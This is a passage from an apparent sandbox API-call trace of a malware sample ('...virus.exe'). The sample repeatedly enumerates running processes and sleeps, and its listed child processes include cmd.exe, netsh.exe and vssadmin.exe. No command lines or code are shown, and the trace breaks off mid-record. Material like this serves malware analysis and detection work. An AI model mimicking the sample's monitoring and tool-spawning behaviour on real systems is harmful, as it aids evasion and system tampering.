cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0211.035] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.036] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0211.036] CloseHandle (hObject=0x1c4) returned 1 [0211.036] Sleep (dwMilliseconds=0x1f4) [0211.553] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x168 [0211.555] Process32FirstW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.556] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0211.557] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0211.557] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.557] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0211.558] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.558] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0211.559] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0211.559] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0211.560] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0211.560] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.567] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.568] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.568] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.569] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.569] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0211.569] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.570] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.570] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0211.571] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0211.571] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0211.572] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0211.572] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.573] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0211.573] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0211.573] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0211.574] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0211.574] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0211.575] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0211.575] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0211.576] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0211.576] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0211.577] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0211.579] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.579] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0211.579] CloseHandle (hObject=0x168) returned 1 [0211.580] Sleep (dwMilliseconds=0x1f4) [0212.091] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a8 [0212.093] Process32FirstW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0212.093] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0212.094] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0212.094] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0212.094] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0212.095] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0212.095] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0212.095] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0212.096] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0212.096] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0212.096] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.097] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.097] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.097] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.098] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.098] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0212.098] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.099] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.099] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0212.099] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0212.100] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0212.100] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0212.100] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.101] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0212.101] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0212.102] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0212.102] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0212.102] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0212.103] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0212.103] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0212.103] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0212.104] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0212.104] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0212.104] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.105] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0212.105] CloseHandle (hObject=0x1a8) returned 1 [0212.105] Sleep (dwMilliseconds=0x1f4) [0212.606] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a8 [0212.608] Process32FirstW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0212.608] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0212.608] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0212.609] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0212.612] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0212.612] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0212.613] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0212.613] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0212.614] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, 